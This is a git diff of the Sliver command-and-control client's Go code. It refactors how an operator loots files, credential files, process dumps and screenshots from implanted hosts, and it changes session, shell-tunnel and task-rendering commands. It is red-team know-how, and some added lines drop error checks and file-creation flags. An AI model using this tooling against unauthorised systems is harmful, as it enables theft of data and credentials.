-	}
-
-	return download, nil
-}
-
-func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
-	if lootName == "" {
-		lootName = fileName
-	}
-
-	lootMessage := &clientpb.Loot{
-		Name:     lootName,
-		Type:     lootType,
-		FileType: lootFileType,
-		File: &commonpb.File{
-			Name: fileName,
-			Data: data,
-		},
-	}
-
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		lootMessage.CredentialType = clientpb.CredentialType_FILE
-	}
-
-	return lootMessage
-}
-
-func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
-	control := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
-
-	loot, err := con.Rpc.LootAdd(context.Background(), loot)
-	control <- true
-	<-control
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-	}
-
-	if loot.Name != loot.File.Name {
-		con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
-	} else {
-		con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
-	}
-
-	return
-}
-
-func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	// Was the download successful?
-	if download.Response != nil && download.Response.Err != "" {
-		con.PrintErrorf("%s\n", download.Response.Err)
-		return
-	}
-
-	/*  Construct everything needed to send the loot to the server
-	If this is a directory, we will process each file individually
-	*/
-
-	// Let's handle the simple case of a file first
-	if !download.IsDir {
-		// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
-		downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
-		lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
-		SendLootMessage(lootMessage, con)
-	} else {
-		// We have to decompress the gzip file first
-		decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
-
-		if err != nil {
-			con.PrintErrorf("Could not decompress downloaded data: %s", err)
-			return
-		}
-
-		/*
-			Directories are stored as tar-ed gzip archives.
-			We have gotten rid of the gzip part, now we have to sort out the tar
-		*/
-		tarReader := tar.NewReader(decompressedDownload)
-
-		// Keep reading until we reach the end
-		for {
-			entryHeader, err := tarReader.Next()
-			if err == io.EOF {
-				// We have reached the end of the tar archive
-				break
-			}
-
-			if err != nil {
-				// Something is wrong with this archive. Stop reading.
-				break
-			}
-
-			if entryHeader == nil {
-				/*
-					If the entry is nil, skip it (not sure when this would happen,
-						but we do not want to attempt operations on something that is nil)
-				*/
-				continue
-			}
-
-			if entryHeader.Typeflag == tar.TypeDir {
-				// Keep going to dig into the directory
-				continue
-			}
-			// The implant should have only shipped us files (the implant resolves symlinks)
-
-			// Create a loot message for this file and ship it
-			/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
-			be the end of the file
-			*/
-			fileData, err := io.ReadAll(tarReader)
-			if err == nil {
-				lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
-				SendLootMessage(lootMessage, con)
-			}
-		}
-	}
-}
-
 // LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -233,22 +38,77 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	remotePath := ctx.Args.String("path")
-	fileName := filepath.Base(remotePath)
 	name := ctx.Flags.String("name")
-
-	lootType, err := ValidateLootType(ctx.Flags.String("type"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
+	if name == "" {
+		name = path.Base(remotePath)
 	}
 
-	download, err := PerformDownload(remotePath, fileName, ctx, con)
+	var lootType clientpb.LootType
+	var err error
+	lootTypeStr := ctx.Flags.String("type")
+	if lootTypeStr != "" {
+		lootType, err = lootTypeFromHumanStr(lootTypeStr)
+		if err == ErrInvalidLootType {
+			con.PrintErrorf("Invalid loot type %s", lootTypeStr)
+			return
+		}
+	} else {
+		lootType = clientpb.LootType_LOOT_FILE
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
+
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err) // Download failed
+			return
+		}
+	}
+
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s", err)
+			return
+		}
 	}
 
 	// Determine type based on download buffer
-	lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
-	LootDownload(download, name, lootType, lootFileType, ctx, con)
+	lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
+	if lootFileType == -1 || err != nil {
+		if isText(download.Data) {
+			lootFileType = clientpb.FileType_TEXT
+		} else {
+			lootFileType = clientpb.FileType_BINARY
+		}
+	}
+	loot := &clientpb.Loot{
+		Name:     name,
+		Type:     lootType,
+		FileType: lootFileType,
+		File: &commonpb.File{
+			Name: path.Base(remotePath),
+			Data: download.Data,
+		},
+	}
+	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+		loot.CredentialType = clientpb.CredentialType_FILE
+	}
+
+	loot, err = con.Rpc.LootAdd(context.Background(), loot)
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
 }

client/command/prelude-operator/connect.go

@@ -23,7 +23,6 @@ import (
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/prelude"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 )
@@ -41,7 +40,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		AESKey:      aesKey,
 	}
 
-	implantMapper := prelude.InitImplantMapper(config)
+	sessionMapper := prelude.InitSessionMapper(config)
 
 	con.PrintInfof("Connected to Operator at %s\n", url)
 	if !skipExisting {
@@ -53,28 +52,9 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(sessions.Sessions) > 0 {
 			con.PrintInfof("Adding existing sessions ...\n")
 			for _, session := range sessions.Sessions {
-				if !session.IsDead {
-					err = implantMapper.AddImplant(session, nil)
-					if err != nil {
-						con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
-					}
-				}
-			}
-			con.PrintInfof("Done !\n")
-		}
-		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("Could not get beacon list: %s", err)
-			return
-		}
-		if len(beacons.Beacons) > 0 {
-			con.PrintInfof("Adding existing beacons ...\n")
-			for _, beacon := range beacons.Beacons {
-				err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
-					con.AddBeaconCallback(taskID, cb)
-				})
+				err = sessionMapper.AddSession(session)
 				if err != nil {
-					con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
+					con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
 				}
 			}
 			con.PrintInfof("Done !\n")

client/command/prelude-operator/operator.go

@@ -25,8 +25,8 @@ import (
 )
 
 func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if prelude.ImplantMapper != nil {
-		con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
+	if prelude.SessionMapper != nil {
+		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
 		return
 	}
 	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")

client/command/processes/procdump.go

@@ -24,9 +24,7 @@ import (
 	"io/ioutil"
 	"os"
 	"path/filepath"
-	"time"
 
-	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -44,8 +42,6 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	pid := ctx.Flags.Int("pid")
 	name := ctx.Flags.String("name")
 	saveTo := ctx.Flags.String("save")
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("loot-name")
 
 	if pid == -1 && name != "" {
 		pid = GetPIDByName(ctx, name, con)
@@ -82,23 +78,11 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			if saveLoot {
-				LootProcessDump(dump, lootName, hostname, pid, con)
-			}
-
-			if !saveLoot || saveTo != "" {
-				PrintProcessDump(dump, saveTo, hostname, pid, con)
-			}
+			PrintProcessDump(dump, saveTo, hostname, pid, con)
 		})
 		con.PrintAsyncResponse(dump.Response)
 	} else {
-		if saveLoot {
-			LootProcessDump(dump, lootName, hostname, pid, con)
-		}
-
-		if !saveLoot || saveTo != "" {
-			PrintProcessDump(dump, saveTo, hostname, pid, con)
-		}
+		PrintProcessDump(dump, saveTo, hostname, pid, con)
 	}
 
 }
@@ -115,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -135,15 +119,3 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
 	}
 	return ""
 }
-
-func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
-	timeNow := time.Now().UTC()
-	dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
-
-	if lootName == "" {
-		lootName = dumpFileName
-	}
-
-	lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
-	loot.SendLootMessage(lootMessage, con)
-}

client/command/processes/terminate.go

@@ -41,10 +41,6 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Pid:     int32(pid),
 		Force:   ctx.Flags.Bool("force"),
 	})
-	if err != nil {
-		con.PrintErrorf("Terminate failed: %s", err)
-		return
-	}
 
 	if terminated.Response != nil && terminated.Response.Async {
 		con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {

client/command/reconfig/README.md

@@ -1,4 +0,0 @@
-Reconfig
-=========
-
-Commands used to reconfigure beacon/session times and metadata

client/command/reconfig/reconfig.go

@@ -1,96 +0,0 @@
-package reconfig
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// ReconfigCmd - Reconfigure metadata about a sessions
-func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	var err error
-	var reconnectInterval time.Duration
-	if ctx.Flags.String("reconnect-interval") != "" {
-		reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
-		if err != nil {
-			con.PrintErrorf("Invalid reconnect interval: %s\n", err)
-			return
-		}
-	}
-
-	var beaconInterval time.Duration
-	var beaconJitter time.Duration
-	if beacon != nil {
-		if ctx.Flags.String("beacon-interval") != "" {
-			beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
-			if err != nil {
-				con.PrintErrorf("Invalid beacon interval: %s\n", err)
-				return
-			}
-		}
-		if ctx.Flags.String("beacon-jitter") != "" {
-			beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
-			if err != nil {
-				con.PrintErrorf("Invalid beacon jitter: %s\n", err)
-				return
-			}
-			if beaconInterval == 0 && beaconJitter != 0 {
-				con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
-			}
-		}
-	}
-
-	reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
-		ReconnectInterval: int64(reconnectInterval),
-		BeaconInterval:    int64(beaconInterval),
-		BeaconJitter:      int64(beaconJitter),
-		Request:           con.ActiveTarget.Request(ctx),
-	})
-
-	if err != nil {
-		con.PrintWarnf("%s\n", err)
-		return
-	}
-	if reconfig.Response != nil && reconfig.Response.Async {
-		con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, reconfig)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			con.PrintInfof("Reconfigured beacon\n")
-		})
-		con.PrintAsyncResponse(reconfig.Response)
-	} else {
-		con.PrintInfof("Reconfiguration complete\n")
-	}
-}

client/command/screenshot/screenshot.go

@@ -57,10 +57,6 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
-	saveTo := ctx.Flags.String("save")
-
 	hostname := getHostname(session, beacon)
 	if screenshot.Response != nil && screenshot.Response.Async {
 		con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -69,31 +65,11 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			if saveLoot {
-				if len(screenshot.Data) > 0 {
-					LootScreenshot(screenshot, lootName, hostname, con)
-				} else {
-					con.PrintErrorf("Cannot loot screenshot because it contained no data")
-				}
-			}
-
-			if !saveLoot || saveTo != "" {
-				PrintScreenshot(screenshot, hostname, ctx, con)
-			}
+			PrintScreenshot(screenshot, hostname, ctx, con)
 		})
 		con.PrintAsyncResponse(screenshot.Response)
 	} else {
-		if saveLoot {
-			if len(screenshot.Data) > 0 {
-				LootScreenshot(screenshot, lootName, hostname, con)
-			} else {
-				con.PrintErrorf("Cannot loot screenshot because it contained no data")
-			}
-		}
-
-		if !saveLoot || saveTo != "" {
-			PrintScreenshot(screenshot, hostname, ctx, con)
-		}
+		PrintScreenshot(screenshot, hostname, ctx, con)
 	}
 }
 
@@ -112,7 +88,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -127,18 +103,14 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 	}
 
 	con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
-}
-
-func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
-	timeNow := time.Now().UTC()
-	screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
-
-	if lootName == "" {
-		lootName = screenshotFileName
+	if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
+		err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
 	}
-
-	lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
-	loot.SendLootMessage(lootMessage, con)
 }
 
 func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {

client/command/sessions/prune.go

@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	for _, session := range sessions.GetSessions() {
 		if session.IsDead {
 			con.Printf("Pruning session %s ... ", session.ID)
-			err = kill.KillSession(session, ctx, con)
+			err = kill.KillSession(session, true, con)
 			if err != nil {
 				con.Printf("failed!\n")
 				con.PrintErrorf("%s\n", err)

client/command/sessions/reconfig.go

@@ -1,8 +1,8 @@
-package reconfig
+package sessions
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
+	Copyright (C) 2019  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,16 +21,18 @@ package reconfig
 import (
 	"context"
 	"regexp"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+
 	"github.com/desertbit/grumble"
 )
 
-// RecnameCmd - Reconfigure metadata about a sessions
-func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// SessionsReconfigCmd - Reconfigure metadata about a sessions
+func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
 		return
 	}
 
@@ -44,23 +46,24 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
-	var beaconID string
-	var sessionID string
-	if beacon != nil {
-		beaconID = beacon.ID
-	} else if session != nil {
-		sessionID = session.ID
-	}
-	_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
-		SessionID: sessionID,
-		BeaconID:  beaconID,
-		Name:      name,
+	// Option to change the reconnect interval
+	reconnect := ctx.Flags.Int("reconnect")
+
+	// Option to change the reconnect interval
+	poll := ctx.Flags.Int("poll")
+
+	oldSession := con.ActiveTarget.GetSession()
+	session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+		SessionID:         oldSession.ID,
+		Name:              name,
+		ReconnectInterval: int64(reconnect) * int64(time.Second),
+		PollInterval:      int64(poll) * int64(time.Second),
 	})
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
-	con.PrintInfof("Renamed implant to %s\n", name)
-	con.ActiveTarget.Set(nil, nil)
+	con.ActiveTarget.Set(session, nil)
 }

client/command/sessions/sessions.go

@@ -21,7 +21,6 @@ package sessions
 import (
 	"context"
 	"fmt"
-	"regexp"
 	"strings"
 	"time"
 
@@ -52,7 +51,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if killAll {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
-			err := kill.KillSession(session, ctx, con)
+			err := kill.KillSession(session, true, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 			}
@@ -66,7 +65,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			if session.IsDead {
-				err := kill.KillSession(session, ctx, con)
+				err := kill.KillSession(session, true, con)
 				if err != nil {
 					con.PrintErrorf("%s\n", err)
 				}
@@ -82,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
 		}
-		err := kill.KillSession(session, ctx, con)
+		err := kill.KillSession(session, true, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 		}
@@ -98,23 +97,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("Invalid session name or session number: %s\n", interact)
 		}
 	} else {
-		filter := ctx.Flags.String("filter")
-		var filterRegex *regexp.Regexp
-		if ctx.Flags.String("filter-re") != "" {
-			var err error
-			filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-		}
-
 		sessionsMap := map[string]*clientpb.Session{}
 		for _, session := range sessions.GetSessions() {
 			sessionsMap[session.ID] = session
 		}
 		if 0 < len(sessionsMap) {
-			PrintSessions(sessionsMap, filter, filterRegex, con)
+			PrintSessions(sessionsMap, con)
 		} else {
 			con.PrintInfof("No sessions 🙁\n")
 		}
@@ -122,7 +110,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 // PrintSessions - Print the current sessions
-func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
+func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -140,7 +128,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 			"Hostname",
 			"Username",
 			"Operating System",
-			"Last Message",
+			"Last Check-in",
 			"Health",
 		})
 	} else {
@@ -176,9 +164,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		}
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
-		var rowEntries []string
 		if con.Settings.SmallTermWidth < width {
-			rowEntries = []string{
+			tw.AppendRow(table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
@@ -188,9 +175,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
 				burned + SessionHealth,
-			}
+			})
 		} else {
-			rowEntries = []string{
+			tw.AppendRow(table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -198,31 +185,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				burned + SessionHealth,
-			}
-		}
-		// Build the row struct
-		row := table.Row{}
-		for _, entry := range rowEntries {
-			row = append(row, entry)
-		}
-		// Apply filters if any
-		if filter == "" && filterRegex == nil {
-			tw.AppendRow(row)
-		} else {
-			for _, rowEntry := range rowEntries {
-				if filter != "" {
-					if strings.Contains(rowEntry, filter) {
-						tw.AppendRow(row)
-						break
-					}
-				}
-				if filterRegex != nil {
-					if filterRegex.MatchString(rowEntry) {
-						tw.AppendRow(row)
-						break
-					}
-				}
-			}
+			})
 		}
 	}
 

client/command/shell/shell.go

@@ -68,12 +68,9 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	}
 
 	// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
-	ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
-
-	rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
+	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
-	defer cancelTunnel()
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -81,8 +78,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
 
 	// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
-	tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
-	defer tunnel.Close()
+	tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),

client/command/socks/socks-stop.go

@@ -29,7 +29,7 @@ import (
 
 // SocksStopCmd - Remove an existing tunneled port forward
 func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	socksID := ctx.Flags.Uint64("id")
+	socksID := ctx.Flags.Int("id")
 	if socksID < 1 {
 		con.PrintErrorf("Must specify a valid socks5 id\n")
 		return

client/command/tasks/fetch.go

@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
 			},
 		}
-		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
+		exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
 
 	// execute-shellcode
 	case sliverpb.MsgTaskReq:
@@ -289,10 +289,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "sideload"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
-				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
+		exec.PrintSideload(sideload, hostname, ctx, con)
 
 	case sliverpb.MsgSpawnDllReq:
 		spawnDll := &sliverpb.SpawnDll{}
@@ -310,10 +309,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "spawndll"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
-				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
+		exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
 
 	case sliverpb.MsgSSHCommandReq:
 		sshCommand := &sliverpb.SSHCommand{}
@@ -360,14 +358,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintLs(ls, flags, "", con)
 
-	case sliverpb.MsgMvReq:
-		mv := &sliverpb.Mv{}
-		err := proto.Unmarshal(task.Response, mv)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-
 	case sliverpb.MsgMkdirReq:
 		mkdir := &sliverpb.Mkdir{}
 		err := proto.Unmarshal(task.Response, mkdir)
@@ -456,14 +446,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		privilege.PrintGetSystem(getSystem, con)
 
-	case sliverpb.MsgCurrentTokenOwnerReq:
-		cto := &sliverpb.CurrentTokenOwner{}
-		err := proto.Unmarshal(task.Response, cto)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-
 	case sliverpb.MsgImpersonateReq:
 		impersonateReq := &sliverpb.ImpersonateReq{}
 		err := proto.Unmarshal(task.Response, impersonateReq)

client/console/console.go

@@ -26,6 +26,7 @@ import (
 	"io/ioutil"
 	"log"
 	insecureRand "math/rand"
+	"path"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -108,7 +109,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
 			Description:           "Sliver Client",
-			HistoryFile:           filepath.Join(assets.GetRootAppDir(), "history"),
+			HistoryFile:           path.Join(assets.GetRootAppDir(), "history"),
 			PromptColor:           color.New(),
 			HelpHeadlineColor:     color.New(),
 			HelpHeadlineUnderline: true,
@@ -194,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 
 			// Prelude Operator
-			if prelude.ImplantMapper != nil {
-				err = prelude.ImplantMapper.AddImplant(session, nil)
+			if prelude.SessionMapper != nil {
+				err = prelude.SessionMapper.AddSession(session)
 				if err != nil {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
@@ -214,14 +215,13 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
-			core.GetTunnels().CloseForSession(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")
